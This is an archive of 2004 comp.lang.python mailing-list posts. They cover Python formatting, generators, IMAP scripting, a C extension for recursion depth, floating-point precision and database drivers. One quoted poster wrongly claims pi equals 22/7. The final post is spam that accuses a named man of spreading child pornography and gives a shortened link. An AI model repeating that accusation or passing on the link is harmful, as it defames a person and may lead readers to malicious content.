since >>the observer/observable paradigm is fundamental to science, > > Are you sure about that? ;-) Well, at least until someone shows me how to do an experiment without observing something. > Likewise, in QM it seems that a robot taking measurements is > sufficient to "collapse the wave function." Of course, you could also > argue that robots are people, too. ;-) Perhaps, but even if not, they're definitely "observers". ;) > To slightly paraphrase Richard Feynman, no one even understands > *quantum mechanics*. :-) Still true. With the possible exception of those in sahaj samadhi (for some definition of "understands" ;). >>Of course, if you want to transcend observer/observable, you >>have to go beyond science, and into the realm of "Cosmajoonity" >>(see Freeman Dyson's delightful book "Disturbing the Universe" :). > > Ultimately, many things may not be knowable in principle. How can > "all" be knowable to humans who are part of the very "system" being > considered, i.e., the cosmos? :-) Well, that's where the Cosmajoonity comes in -- if you *are* the system, all you have to do is know yourself! But I guess that's what we're working on, anyway. :) OK, enough elephant shit from me! :) Cheers, Steve From pfortin at pfortin.com Fri Sep 10 20:49:17 2004 From: pfortin at pfortin.com (Pierre Fortin) Date: Fri, 10 Sep 2004 20:49:17 -0400 Subject: string formatting with mapping & '*'... is this a bug? References: <20040909140649.6d2eff6e@gypsy.pfortin.com> <20040909152328.2233c917@gypsy.pfortin.com> <1gjvffn.1bzib2wjohb3aN%aleaxit@yahoo.com> <20040909183705.69696290@gypsy.pfortin.com> <1gjw1ih.2x26851nz2m54N%aleaxit@yahoo.com> <20040910064659.7a1c66af@gypsy.pfortin.com> <1gjwfl1.i046071x80ul9N%aleaxit@yahoo.com> <20040910093156.4cfcb6ff@gypsy.pfortin.com> <1gjwo5q.meek2hr5madpN%aleaxit@yahoo.com> <20040910114048.4c68a21c@gypsy.pfortin.com> Message-ID: <20040910204917.54b24e15@gypsy.pfortin.com> On Fri, 10 Sep 2004 11:40:48 -0400 I responded to Alex: > On Fri, 10 Sep 2004 16:34:31 +0200 Alex wrote: > > Come to think of that, you SHOULD hoist the "real format" out of the > > loop, > > That's a given in my book... :> SHEESH!!! Just now dawned on me what you really meant... # hoist *this* part of the formatting code...! format = ( "%(Date)ss %(Open)sf %(High)sf %(Low)sf " "%(Close)sf %(Volume)sd %(AdjClose)sf %(Change)ss" % fmt ) for ...: ... print format % map At least I'm getting it... :> Pierre -30- From thorsten at thorstenkampe.de Mon Sep 13 09:26:37 2004 From: thorsten at thorstenkampe.de (Thorsten Kampe) Date: Mon, 13 Sep 2004 15:26:37 +0200 Subject: Python or 4NT? With a question or two about popen() References: <95c29a5e.0409121552.af6bdba@posting.google.com> Message-ID: <1cpo13uwxp8dq.dlg@thorstenkampe.de> * Jaime Wyant (2004-09-13 14:56 +0200) > At the risk of being labeled a heretic, I'm gonna suggest cygwin. In > particular, the bash shell is really well suited for running > "automated" CLI tests. Be aware though that bash syntax is really > cryptic [...] Cryptic compared to Python syntax but a lot more readable than Windows cmd.exe syntax. > If you do decide to do bash, do a google on "advanced bash tutorial". > That ought to point you to a really nice tutorial. * Advanced Bash-Scripting Guide http://www.tldp.org/LDP/abs/html/index.html http://personal.riverusers.com/~thegrendel/abs-guide-2.8.tar.bz2 http://www.tldp.org/LDP/abs/abs-guide.pdf I'd consider IPython (state-of-the-art replacement for basic Python CLI) in "shell mode" ("This profile turns IPython into a lightweight system shell with python syntax"). Thorsten From max at alcyone.com Tue Sep 28 19:47:41 2004 From: max at alcyone.com (Erik Max Francis) Date: Tue, 28 Sep 2004 16:47:41 -0700 Subject: QU, recently launched in icewalkers References: Message-ID: <4159F81D.3E1112B0@alcyone.com> dharsamto wrote: > a new open source language programming has been launched in > icewakkers this month, namely QU > good alternative for perl, php, phyton programmers > very cool but need contributors to enrich its library > http://www.icewalkers.com/NFTW/522580/Qu.html I have an unreleased Python project for stack-based genetic programming called Qu. Amazing how frequently names get taken if you don't make them public. -- __ Erik Max Francis && max at alcyone.com && http://www.alcyone.com/max/ / \ San Jose, CA, USA && 37 20 N 121 53 W && AIM erikmaxfrancis \__/ Hate come gratis / I connected every kind -- Lamya From kjetilho at yksi.ifi.uio.no Wed Sep 15 03:37:43 2004 From: kjetilho at yksi.ifi.uio.no (Kjetil Torgrim Homme) Date: Wed, 15 Sep 2004 09:37:43 +0200 Subject: optimizing memory utilization References: <1db49385.0409141355.5d204a03@posting.google.com> Message-ID: <1r7jqw56ew.fsf@rovereto.ifi.uio.no> [Anon]: > > Well, basically, I'm trying to use the FreeDB database as a list > of valid artists, albums, and tracks to locate these strings > within the file names of mp3 files and then use those result to > apply ID tags to the mp3 files. have you considered using musicbrainz instead? it computes a checksum of the music, not the bits and bytes. http://www.musicbrainz.org/ -- Kjetil T. From tjreedy at udel.edu Wed Sep 8 00:46:18 2004 From: tjreedy at udel.edu (Terry Reedy) Date: Wed, 8 Sep 2004 00:46:18 -0400 Subject: Python Interpreter question. References: Message-ID: > "Python is also a compiled language, and it doesn't use an interpreter, > it > uses the Python VM" > > Well I was shocked at first lol, and indignant, telling him that Python > does > indeed have an interpreter and python was an interpreted language, while > also reminding him that I also prefer python to to other languages as > well. Would you be shocked to also learn that humanly programmed languages are generally not compiled to actual machine code, but, as I understand it, to multibyte code which invokes subroutines written in actual machine code, which is usually called microcode. One can, I believe, think of Pentiums and Athlons, for instance, as hardware interpreters or emulators of what is now mostly the virtual 386 machine (plus extensions). Intel and AMD can change the real machine code as they please as long as they properly emulate the 386, as seen from the programmer view. Whether the 386 machine was ever a real machine or whether it was also microcoded, I do not know. Terry J. Reedy From grante at visi.com Sun Sep 19 13:00:56 2004 From: grante at visi.com (Grant Edwards) Date: 19 Sep 2004 17:00:56 GMT Subject: Math errors in python References: <70b3d.1822$uz1.747@trndny03> Message-ID: <414dbb48$0$62444$a1866201@newsreader.visi.com> On 2004-09-19, Chris S. wrote: > Sqrt is a fair criticism, but Pi equals 22/7, exactly the form this > arithmetic is meant for. > Any decimal can be represented by a fraction, yet not all > fractions can be represented by decimals. My point is that > such simple accuracy should be supported out of the box. It is. Just not with floating point. > So are our brains, yet we somehow manage to compute 12.10 + 8.30 > correctly using nothing more than simple skills developed in > grade-school. You could theoretically compute an infinitely long > equation by simply operating on single digits, yet Python, with all of > its resources, can't overcome this hurtle? Sure it can. > However, I understand Python's limitation in this regard. This > inaccuracy stems from the traditional C mindset, which > typically dismisses any approach not directly supported in > hardware. As the FAQ states, this problem is due to the > "underlying C platform". I just find it funny how a $20 > calculator can be more accurate than Python running on a $1000 > Intel machine. You're clueless on so many different points, I don't even know where to start... -- Grant Edwards grante Yow! I'm also pre-POURED at pre-MEDITATED and visi.com pre-RAPHAELITE!! From NOmanlio_perilloSPAM at libero.it Sun Sep 26 05:05:03 2004 From: NOmanlio_perilloSPAM at libero.it (Manlio Perillo) Date: Sun, 26 Sep 2004 09:05:03 GMT Subject: getrecursiondepth References: <27eal09cb6ggho5gbstgkbmvgillnova08@4ax.com> Message-ID: On Sun, 26 Sep 2004 00:09:02 GMT, Andrew Dalke wrote: >Manlio Perillo wrote: >>>>>foo() >> >> n = 0 and recursion depth = 1 >> n = 1 and recursion depth = 2 >> n = 2 and recursion depth = 3 >> n = 3 and recursion depth = 4 > > Why is it needed? > 1) To write code that execute once in a function (as C static variables) 2) To guard against too many recursion > Unlike getrecursionlimit it is something that can be >calculated pretty easily. > I think getrecursiondepth is easy to calculate! > >Anything which depends on the exact number is going >to have problems because that depends on the environment. >For example, in idle getdepth() from its shell >returns 4 instead of the 2 found in the command-line >shell. > > Wait! I have said that the real getrecursiondepth 'redefines' the origin, so that outside any function it always returns 0. Here is the complete source: -------------------------------------------------- ------------ module _pystate.c -------------- #include "Python.h" static PyObject * getrecursiondepth(PyObject *self, PyObject *args) { PyThreadState *tstate; if (!PyArg_ParseTuple(args, ":recursion_depth")) return NULL; tstate = PyThreadState_GET(); return Py_BuildValue("i", tstate->recursion_depth); } /* List of functions defined in the module */ static PyMethodDef pystate_methods[] = { {"getrecursiondepth", getrecursiondepth, METH_VARARGS, PyDoc_STR("Returns the current recursion level")}, {NULL, NULL} /* sentinel */ }; PyDoc_STRVAR(module_doc, "Provides acces to some thread state attributes not present in module sys"); /* Initialization function for the module */ PyMODINIT_FUNC init_pystate(void) { Py_InitModule3("_pystate", pystate_methods, module_doc); } -------------------------------------------------------------- ----------------- module pystate.py ------------------- from _pystate import getrecursiondepth as _getrecursiondepth _recursion_base = _getrecursiondepth() def getrecursiondepth(): return _getrecursiondepth() - _recursion_base -------------------------------------------------------------- Regards Manlio Perillo From valinor at linuxmail.org Fri Sep 10 08:20:43 2004 From: valinor at linuxmail.org (foten) Date: 10 Sep 2004 05:20:43 -0700 Subject: IMAP - get size of mailboxes Message-ID: Hi guys, I'm trying to make a script (or similar) to display and print the folder size information for my outlook mailbox. (So nothing for exchange administrators, just for my own mailbox that keeps bouncing against the 45 MB limit ...) The standard way (right-click on Outlook Today, Properties:Folder Size...) has a number of deficiencies: - the window is fixed size, so you can either see the full folder name or the size - can't sort by size, - can't print So I came up with the folloing approach: Please correct any flaws you see, since I'm new into python. The problem (except for bad coding) is that I can't think of a way to get the size of the mailbox. Ideas any one? #! /usr/local/util/python/2.2.2/bin/python import sys import os import string import imaplib import getpass user = os.environ['USER'] imap_server = "xxx-yyy.com" # Open a connection to the IMAP server M = imaplib.IMAP4(imap_server) M.login(getpass.getuser(), getpass.getpass()) result,list = M.list() print "%-30s%5s%10s\n" % ("Folder", "no Msg", "Result") for item in list[:]: x = item.split() mailbox = string.join(x[2:]) result, size = M.select(mailbox,readonly=1) print "%-30s%5d%10s" % (mailbox, int(size[0]), result); M.logout() From fuzzyman at gmail.com Mon Sep 13 09:31:58 2004 From: fuzzyman at gmail.com (Michael Foord) Date: 13 Sep 2004 06:31:58 -0700 Subject: read all available pages on a Website References: Message-ID: <6f402501.0409130531.2c2518ff@posting.google.com> Brad Tilley wrote in message news:... > Is there a way to make urllib or urllib2 read all of the pages on a Web > site? For example, say I wanted to read each page of www.python.org into > separate strings (a string for each page). The problem is that I don't > know how many pages are at www.python.org. How can I handle this? > > Thanks, > > Brad I can highly reccommend the BeautifulSoup parser for helping you to extract all the links - should make it a doddle. (you want to check that you only follwo links that are in www.python.org of course - the standard library urlparse should help with that). Regards, Fuzzy http://www.voidspace.org.uk/atlantibots/pythonutils.html From tmohr at s.netic.de Mon Sep 13 16:34:34 2004 From: tmohr at s.netic.de (Torsten Mohr) Date: Mon, 13 Sep 2004 22:34:34 +0200 Subject: my own type, print function References: Message-ID: Hi, >> i have created an own type in C and have implemented >> the print function for it. > > I'm not sure what your problem is, but my advice is: don't do that :) > > I.e. don't fill out the tp_print slot of your type object unless your > object type has such a long printed representation that going via a > string representation is grossly inefficent. Ok, i'll try that, but i still wonder why it crashes my python interpreter. I'd like to understand that, also, i can't see what COULD be wrong, i just do a normal fprintf() on the FILE* that i get as a parameter. Best regards, Torsten. From giacomo.boffi at polimi.it Tue Sep 21 06:32:36 2004 From: giacomo.boffi at polimi.it (giacomo boffi) Date: Tue, 21 Sep 2004 12:32:36 +0200 Subject: Floating-point glitches with the math module. Bug? Or am I missing something? References: Message-ID: Chris Metzler writes: > This kinda sucks because I need to do some precision surveying calcs > -- computing lat/lons for a variety of points separated by known > distances and angles from a point of known lat/lon. may i suggest asking on sci.geo.cartography? it's full ok kind, smart people waiting for interesting questions... ciao -- ANNOYED BY CORVETTE. ENGAGING VALIUM NOZZLE. U-807. From peter at engcorp.com Thu Sep 2 13:17:00 2004 From: peter at engcorp.com (Peter Hansen) Date: Thu, 02 Sep 2004 13:17:00 -0400 Subject: Tuple question In-Reply-To: <41374a65$0$22750$db0fefd9@news.zen.co.uk> References: <41374a65$0$22750$db0fefd9@news.zen.co.uk> Message-ID: <0qKdnZXAHfyPyKrcRVn-sg@powergate.ca> Will McGugan wrote: > Why is that a tuple doesnt have the methods 'count' and 'index'? It > seems they could be present on a immutable object. > > I realise its easy enough to convert the tuple to a list and do this, > I'm just curious why it is neccesary.. Please see these recent threads, and read the FAQ: http://groups.google.ca/groups?threadm=mailman.2685.1093979591.5135.python-list%40python.org and http://groups.google.ca/groups?threadm=938a4680.0409011617.e9f9ee2%40posting.google.com -Peter From lynn at garlic.com Fri Sep 10 20:00:48 2004 From: lynn at garlic.com (Anne & Lynn Wheeler) Date: Fri, 10 Sep 2004 18:00:48 -0600 Subject: Xah Lee's Unixism References: <7fe97cc4.0408251356.34f2102a@posting.google.com> <0vvphc.8nl1.ln@via.reistad.priv.no> Message-ID: somewhat thread drift between ssa disk storage http://www.garlic.com/~lynn/95.html#13 SSA ha/cmp http://www.garlic.com/~lynn/subtopic.html#hacmp and electronic commerce http://www.garlic.com/~lynn/aadsm5.htm#asrn2 http://www.garlic.com/~lynn/aadsm5.htm#asrn3 -- Anne & Lynn Wheeler | http://www.garlic.com/~lynn/ From thomas.lotze at gmx.net Tue Sep 14 10:06:29 2004 From: thomas.lotze at gmx.net (Thomas Lotze) Date: Tue, 14 Sep 2004 16:06:29 +0200 Subject: subclassing str References: Message-ID: On Tue, 14 Sep 2004 13:49:08 +0000, Duncan Booth wrote: >>>> class SpecialString(str): > def __new__(cls, s): > if isinstance(s, SpecialString): > s = s._raw() > return str.__new__(cls, s) [...] > def _raw(self): > return str.__str__(self) Thanks a lot. > You have to override __new__ as the default constructor for str calls > the __str__ method on its argument (which is where your extra parens > appear). Ah, good to have that piece of information. > Having added a method to bypass the formatting it makes sense to use it > inside __str__ as well otherwise the code is very sensitive to minor > edits e.g. changing it to: > return "(%s)" % self > would cause an infinite loop. Yes, of course. -- Viele Gr??e, Thomas From cbeck at mercury.bc.ca Sat Sep 4 11:46:22 2004 From: cbeck at mercury.bc.ca (Coby Beck) Date: Sat, 04 Sep 2004 15:46:22 GMT Subject: Xah Lee's Unixism References: <10jc7cu7e57koaa@corp.supernews.com> <20040901.2343.57633snz@dsl.co.uk> <41376B82.C6A202FC@yahoo.com> <0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com> <8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net> <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> <1094257487.855439@teapot.planet.gong> <1094285694.404322@teapot.planet.gong> Message-ID: "Rupert Pigott" wrote in message news:1094285694.404322 at teapot.planet.gong... > Larry Elmore wrote: > > Rupert Pigott wrote: > > [SNIP] > > > http://www.ae.utexas.edu/~lehmanj/ethics/srb.htm > > > > "Competition for the SRB Contract" > > > > "Four companies bid for the contract to design and manufacture the solid > > rocket boosters (SRBs). Aerojet Solid bid the program at $655 million, > > United Technologies at $710 million, Morton Thiokol at $710 million, and > > Lockheed at $714 million. All the bids were relatively similar in both > > price and technology. Based on cost, the NASA advisory panel recommended > > that the contract be awarded to Aerojet; they believed that money could > > be saved without sacrificing technical quality by choosing the lowest > > bid. NASA administrator Dr. James Fletcher overruled this recommendation > > [SNIP] > > Even if hypothetically superior Aerojet boosters were used I would > bet a life's salary that mismanagement would nail them in the end... You will never understand past mistakes with an attitude like that.."Oh well, who knows? It could have been worse!" > Consider this : If the tables were turned and an Aerojet booster > exploded in the sky I'll bet the armchair QBs would be asking why > were Aerojet chosen over Morton-Thiokol who had more experience of > building large solid-fuel rockets. And there would have been a clear answer: they had the lowest bid and a committee responsible for technical evaluation approved them. -- Coby Beck (remove #\Space "coby 101 @ big pond . com") From usenet at metamoof.net Fri Sep 24 12:19:38 2004 From: usenet at metamoof.net (Moof) Date: Fri, 24 Sep 2004 18:19:38 +0200 Subject: Python and Sybase In-Reply-To: References: Message-ID: <2rivotF1aq7gtU1@uni-berlin.de> Nelson Minar wrote: > While we're here, is there a free module for accessing SQLServer from > Python? Last I checked this Sybase driver was the only option. Pywin32 (formerly win32all) has an odbc module which is DB-API 1.0 compliant. There's also adodbapi, which is DB-API 2.0 compliant. I haven't used the latter enough to work out if it's reasonably useful. I don't get on with the former very well, though. Oh, and non-free there's mxODBC, which also works under unix. Also from unix someone mentioned a module based on ODBTP, which hasn't yet surfaced out in the wild. Moof From claird at lairds.us Sun Sep 19 17:08:11 2004 From: claird at lairds.us (Cameron Laird) Date: Sun, 19 Sep 2004 21:08:11 GMT Subject: [offtopic] C programming newsgroup References: <414db89e$0$15754$7a628cd7@news.club-internet.fr> <414dba74$0$62444$a1866201@newsreader.visi.com> Message-ID: In article <414dba74$0$62444$a1866201 at newsreader.visi.com>, Grant Edwards wrote: >On 2004-09-19, Anthony McDonald <> wrote: > >>> What newsgroup can you guys recommend for me that talks about programming >>> in c/c++ that is as active as this one? >> >> comp.lang.c is a fairly well respected newsgroup for C. > >[...] > >> I haven't been on comp.lang.c++ for a while, but they also have a some nice >> knowledgable people[...] > >Also be warned that C and C++ are two separate, different >languages. Referring to "C/C++" as if it's a single language >will start you off with the wrong reputation in those two >newsgroups. . . . ... and their activity tends to find harsher expression than in clp; hereabouts, saying that, for example, "Python is just like Pascal" generally elicits mild curiousity, while even *mention* of "C/C++" seems capable of inciting lawsuits over there. From pascal.parent at free.fr Mon Sep 27 07:38:22 2004 From: pascal.parent at free.fr (Pascal) Date: 27 Sep 2004 04:38:22 -0700 Subject: OWA (Outlook Web Access) with urllib2 References: <878yaya3m1.fsf@pobox.com> Message-ID: This is the Python ~ IIS dialogue (with Ethereal / Follow TCP stream): GET /exchange/ HTTP/1.0 Host: owa.mydomain User-agent: Python-urllib/2.1 HTTP/1.1 401 Acc?s refus? Server: Microsoft-IIS/5.0 Date: Mon, 27 Sep 2004 10:44:28 GMT WWW-Authenticate: Negotiate WWW-Authenticate: NTLM WWW-Authenticate: Basic realm="owa.mydomain" Content-Length: 21 Content-Type: text/html Urllib2 didn't try to send authentification after http 401 error. From claird at lairds.us Mon Sep 20 12:08:06 2004 From: claird at lairds.us (Cameron Laird) Date: Mon, 20 Sep 2004 16:08:06 GMT Subject: Update automation and related issues (was: Python Webstart ?) References: <414acdc8$0$2404$61ce578d@news.syd.swiftdsl.com.au> <2r0rq6F12j2qtU1@uni-berlin.de> <414b8774$0$2405$61ce578d@news.syd.swiftdsl.com.au> <1gkazd2.1qm3g0u1l6b7lmN%aleaxit@yahoo.com> Message-ID: <3gb322-ui9.ln1@lairds.us> In article <1gkazd2.1qm3g0u1l6b7lmN%aleaxit at yahoo.com>, Alex Martelli wrote: >huy wrote: > ... >> Great idea Daniel. An SVN client would work well. I'll think about it >> for a while but I think this would be a real option. > >SVN sounds attractive because, among other things, it's _designed_ to be >scripted with Python (and no doubt in other ways, but I've noticed the >Python part only). However, it sounds as if all you need is some >variant of "os.system('svn up')" at program start (_before_ importing >any module that is part of the app), so that 'cvs up' or any other >revision control system would be just as fine. > >And most likely so would be a roll-your-own approach, which might go >something like...: . . . >There -- in barebones term, isn't that roughly what you need? Sure, you >can conceive enhancements of it, a lot of them -- enhanced error >handling (this one doesn't DO much...:-), a log of what was updated when >(that might take the place of the tiny local_ver_filepath file), keeping >version numbers in the same zipfile as the modules rather than in a >small separate file (you still want a separate URL on the server so you >can check that no update is needed as fast as possible, of course), etc, >etc. But, roughly speaking, it does appear to me that this >twelve-statements-or-less function just ight meet your need even better >than svn or cvs would... depending on your exact needs, of course!-) . . . I've been hesitating to say this, for fear language territoriality would obscure the serious concepts afloat here. I think it's time, though ... The Tcl community has made fascinating progress on what I call "deploy- ment" issues. Places to begin reading: , , and . If nothing else, I think it might interest Pythoneers to read that, "oh, if I solve *this* problem, then a user-maintained help system falls out", and so on. From lynn at garlic.com Thu Sep 2 11:43:59 2004 From: lynn at garlic.com (Anne & Lynn Wheeler) Date: Thu, 02 Sep 2004 09:43:59 -0600 Subject: Xah Lee's Unixism References: <41337FC9.8070902@hotmail.com> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <4134AC88.56452265@yahoo.com> <4135cea1$0$19726$61fed72c@news.rcn.com> <%hmZc.17354$ni.569@okepread01> <41372e97$0$19727$61fed72c@news.rcn.com> Message-ID: joe at invalid.address writes: > http://www.zippythepinhead.com/ > > If you're runnning emacs, you can get a quote from him with M-X yow > > Not exactly a typical editor function, agreed. I was feeling a little > whimsical at the time. i once did a random email/usenet signature with zippy/yow ... but i added two other files to it ... and then i had to fix a feature in yow. yow uses a 16bit random number to index a yow file ... it was ok as long as your sayings file was less than 64kbytes. i had to modify yow to handle files larger than 64kbytes ... the "sayings" file used for 6670 separater pages was 167k bytes and the jargon file was 413k bytes ... while a current zippy yow file is 52,800 bytes. recent reference http://www.garlic.com/~lynn/2004f.html#48 Random signatures -- Anne & Lynn Wheeler | http://www.garlic.com/~lynn/ From tim.golden at viacom-outdoor.co.uk Thu Sep 30 04:09:05 2004 From: tim.golden at viacom-outdoor.co.uk (Tim Golden) Date: Thu, 30 Sep 2004 09:09:05 +0100 Subject: python connection to mssql from windows box Message-ID: [Josh Close] | > Is there a python module that uses the mssql client tools to connect | > to mssql? When you install php on windows and you want mssql | > connectivity, you need the client tools and it uses that api to | > connect. I think you're asking for this: http://www.object-craft.com.au/projects/mssql/ (which, by the way, is the first non-mailing-list result Google gives for python mssql) TJG ________________________________________________________________________ This e-mail has been scanned for all viruses by Star. The service is powered by MessageLabs. For more information on a proactive anti-virus service working around the clock, around the globe, visit: http://www.star.net.uk ________________________________________________________________________ From contrado at iinet.net.au Tue Sep 21 01:52:42 2004 From: contrado at iinet.net.au (Graeme Matthew) Date: Tue, 21 Sep 2004 15:52:42 +1000 Subject: Python as alternative to Visual Basic References: Message-ID: <414fc1ab$0$24386$5a62ac22@per-qv1-newsreader-01.iinet.net.au> As an ex VB developer who jumped to Python, I can say that you do not need to worry about its worability on windows. If youre using Access / excel etc then Pythonon has a com library so even ADO connections are fine. To connect to SQL etc simply use the Win32 ODBC package found in the Python Win32All installation. In terms of GUI's there is wxWindows which is cross platform and Tkinter which is proven on both platforms. I have not investigated this one yet but there is also Mono the open source .NET standard this in theory would should allow you to call the .NET Framework and use its objects / libraries I would say and this is my biggest concern is what is Microsoft up to in the next few years and where is .NET going? "Aaron Ginn" wrote in message news:cin0d0$ani$1 at avnika.corp.mot.com... > I'm investigating the feasibility of using Python instead of Visual Basic > for a commercial software package that I'm planning on developing. Now I'm > absolutely a Python zealot. I use it for most of my software development > at work where I work in a Solaris environment. To me, Python is the > perfect language for most applications in a UNIX environment where a > compiled language is not required. However, I'm not so sure about > Windows. > > The software package I'm developing will make calls to Excel and Access > and requires a very usable GUI for users who are not particularly computer > literate. My first question is: what is the best choice for a GUI toolkit > on Windows? I've used Tkinter for UNIX to some degree of success, but I'm > not sure this is the best choice for Windows. Second, if I choose to make > the application cross-platform (Windows and Mac OS X in particular), what > would be the best choice for a cross-platform GUI toolkit? I was thinking > of looking at PyQt. Is there a better option? > > Basically, I'm trying to make a case for Python to the other developers of > this software package as I believe it offers numerous advantages over VB > in terms of speed of development, a quick learning curve, and > maintainability. Can anyone help me make that case? > > Thanks, > Aaron From danperl at rogers.com Thu Sep 30 21:08:52 2004 From: danperl at rogers.com (Dan Perl) Date: Thu, 30 Sep 2004 21:08:52 -0400 Subject: "False exceptions?" (was Re: theme of the week: tools References: <41542230.3070808@bellsouth.net> <4157FD67.80404@holdenweb.com> Message-ID: "David Bolen" wrote in message news:u7jqb4afj.fsf at fitlinxx.com... > "Dan Perl" writes: > >> (...) In my experience with sporadic problems like the ones you are >> describing, debuggers are usually not much help, except after the fact, >> for >> instance debugging a core of a C/C++ program. If the problem is caused >> by a >> race condition, a debugger can be useless because it affects the >> scheduling >> of threads. How does the loaded stub work in cases like that? Does it >> affect threads in any way? > > Yes, once the debugger is actually activated (you start up the IDE and > it attaches) it's like a normal Python debugger, so it uses the trace > hook and will have some impact on runtime. You can finesse this a little > by > controlling where you import the stub and/or when you connect to the > process. Interesting. So it's actively attached to the process, not just listening to it. I would like to find out more about how this debug stub works. The Wing IDE reference manual doesn't get into details like that, but I can see that one can also set breakpoints remotely. That should mean that the stub does quite a bit of work. Since my previous posting on this thread I have discovered an interesting utility for remote reporting of exceptions, although I couldn't try it: http://egofile.com/cgi-bin/blosxom.cgi. My understanding is that it sends an HTTP POST message. That should mean that it's much less powerful than the Wing IDE stub but it should be also less intrusive. And I also found win32traceutil (http://www.python.org/windows/win32/#win32trace), which has quite a similar use. Of course, it's only for Windows, and I'm not sure whether it works with the listener and the debugged process on different nodes. But this is something I may personally use. Any experience with these tools? Especially with win32traceutil, because that's something I may use. Dan From jeff at ccvcorp.com Thu Sep 2 18:14:41 2004 From: jeff at ccvcorp.com (Jeff Shannon) Date: Thu, 02 Sep 2004 15:14:41 -0700 Subject: Back to Python + decorators In-Reply-To: References: Message-ID: <10jf6nufcs7lm44@corp.supernews.com> Carlos Ribeiro wrote: >The only one option not mentioned is this: > >def (decoratorlist) function_name(parameters): > > Whether it's on the wiki or not, that form *has* been discussed, and was explicitly rejected by GvR before 2.4a2 was released. (Which is probably *why* you didn't find it on the wiki...) Jeff Shannon Technician/Programmer Credit International From jfj at freemail.gr Sun Sep 12 04:49:03 2004 From: jfj at freemail.gr (Jerald) Date: Sun, 12 Sep 2004 01:49:03 -0700 Subject: How can I exec() in global? In-Reply-To: References: Message-ID: <41440D7F.4030603@freemail.gr> Michel Claveau - abstraction m?ta-galactique non triviale en fuite perp?tuelle. wrote: > > I have one sample reason (only me ?) : i had make a COM-server in Python ; > and i send, from other applis, some Python's scripts, by a string, like > parameters. My COM-server can to execute this scripts. > > Similar reason here. def mydef(X): exec (X) And mydef(""" def g(): print 'Hi' """) cheers Gerald From frankabel at tesla.cujae.edu.cu Thu Sep 16 09:01:10 2004 From: frankabel at tesla.cujae.edu.cu (frankabel at tesla.cujae.edu.cu) Date: Thu, 16 Sep 2004 09:01:10 -0400 Subject: uncompressed size of .gz file Message-ID: <1095339670.41498e96865f0@correo.cujae.edu.cu> Hi! What python function give me the uncompressed size of .gz file like "gzip -l name_of_compress_file". Thank ---------------------------------------------------------------- This message was sent using IMP, the Internet Messaging Program. __________________________________________ Aniversario 40 de la CUJAE Visite: XII Convencion de Ingenieria y Arquitectura http://www.cujae.edu.cu/eventos/convencion/ From egbert.list at hccnet.nl Wed Sep 8 06:12:29 2004 From: egbert.list at hccnet.nl (Egbert Bouwman) Date: Wed, 8 Sep 2004 12:12:29 +0200 Subject: Remove items from a list In-Reply-To: References: Message-ID: <20040908101229.GA1644@mirk.lan> On Wed, Sep 08, 2004 at 03:59:26AM +0000, Stan Cook wrote: > I was trying to take a list of files in a directory and remove all but the ".dbf" files. I used the following to try to remove the items, but they would not remove. Any help would be greatly appreciated. > > x = 0 > for each in _dbases: > if each[-4:] <> ".dbf": > del each # also tried: del _dbases[x] > x = x + 1 > > I must be doing something wrong, but it acts as though it is.... > The answers you received don't tell you what you are doing wrong. If you replace 'del each' with 'print each' it works, so it seems that you can not delete elements of a list you are looping over. But I would like to know more about it as well. egbert -- Egbert Bouwman - Keizersgracht 197 II - 1016 DS Amsterdam - 020 6257991 ======================================================================== From shalabh at cafepy.com Fri Sep 3 02:05:25 2004 From: shalabh at cafepy.com (Shalabh Chaturvedi) Date: Thu, 02 Sep 2004 23:05:25 -0700 Subject: Recursive Generator Question In-Reply-To: <6543373d.0409021839.5caff11d@posting.google.com> References: <6543373d.0409021839.5caff11d@posting.google.com> Message-ID: Paul Chiusano wrote: > I've been playing around with generators and have run into a > difficulty. Suppose I've defined a Node class like so: > > class Node: > def __init__(self, data=None, left=None, right=None): > self.children = [] > self.children.append(left) > self.children.append(right) > self.data = data > > def __iter__(self): return self > > def next(self): > """ Returns iteration over terminal nodes of this tree. """ > if self.data: > yield self > else: > for child in self.children: > for terminal in child: > yield terminal > > > And then suppose I create a little binary tree like so: > > a = Node('a') > b = Node('b') > c = Node('c') > d = Node('d') > ab = Node(left=a, right=b) > cd = Node(left=c, right=d) > abcd = Node(left=ab, right=cd) > > for termNodes in abcd: > print termNodes.data # gives an error > > when I do this, I get the following error: > Traceback (most recent call last): > File "C:\Documents and Settings\Paul > Chiusano\workspace\sandbox\hello.py", line 69, in ? > print termNodes.data > AttributeError: 'generator' object has no attribute 'data' > > For some reason, that iteration is returning generators instead of > leaves. > Am I missing something? Or is it not possible to define recursive > generators in this way? It is possible to define recursive generators. To fix the code, copy the contents of next() into __iter__(). class Node: def __init__(self, data=None, left=None, right=None): self.children = [] self.children.append(left) self.children.append(right) self.data = data def __iter__(self): if self.data: yield self else: for child in self.children: for terminal in child: yield terminal Iterators and generators can get a little confusing. Note that: 1. Calling __iter__() should return an object with next() on it. 2. When you call a function containing yield, it returns a generator. 3. A generator is function with next() on it. Conclusion, __iter__() should have yield in it. To expand point 2 - calling a function containing yield does *not* return the yielded results. It returns an generator object and repeated calls on next() of the generator object return the yielded results. When you put it all together, Python does try to make this easier to use. You don't need to always go through the extra step of implementing next(), you just have to put yield in the __iter__. Hopefully this makes some sense. Play around with generators to get a better idea. -- Shalabh From peter at engcorp.com Sun Sep 12 23:05:21 2004 From: peter at engcorp.com (Peter Hansen) Date: Sun, 12 Sep 2004 23:05:21 -0400 Subject: java In-Reply-To: References: <6712b7e.0409102159.42cd71d4@posting.google.com> Message-ID: David Cook wrote: > There's also a certain pleasure in actually getting things to work in Java, > somewhat like the pleasure, I imagine, of building ships in bottles. +1 QOTW. -Peter From matthewparker at nurfuerspam.de Thu Sep 23 05:38:22 2004 From: matthewparker at nurfuerspam.de (matt parker) Date: 23 Sep 2004 02:38:22 -0700 Subject: > > > > matt parker alias erik_van_lindt_hout matt parker alias geronimo jones bondage phuking matt parker alias kimberlyparker matt parker from cottage grove oregon spams the net with childporn http://tinyurl.com/6kmea matt parker alias evon lin References: Message-ID: comp.lang.python,cu.cs.clim,sci.energy.hydrogen,uw.stats.s,talk.philosophy.misc > > > > > matt parker alias erik_van_lindt_hout matt parker alias geronimo jones bondage phuking matt parker alias kimberlyparker matt parker from cottage grove oregon spams the net with childporn http://tinyurl.com/6kmea matt parker alias evon lint herzog matt parker violates the internet privacy act by distributing stolen personal data matt parker 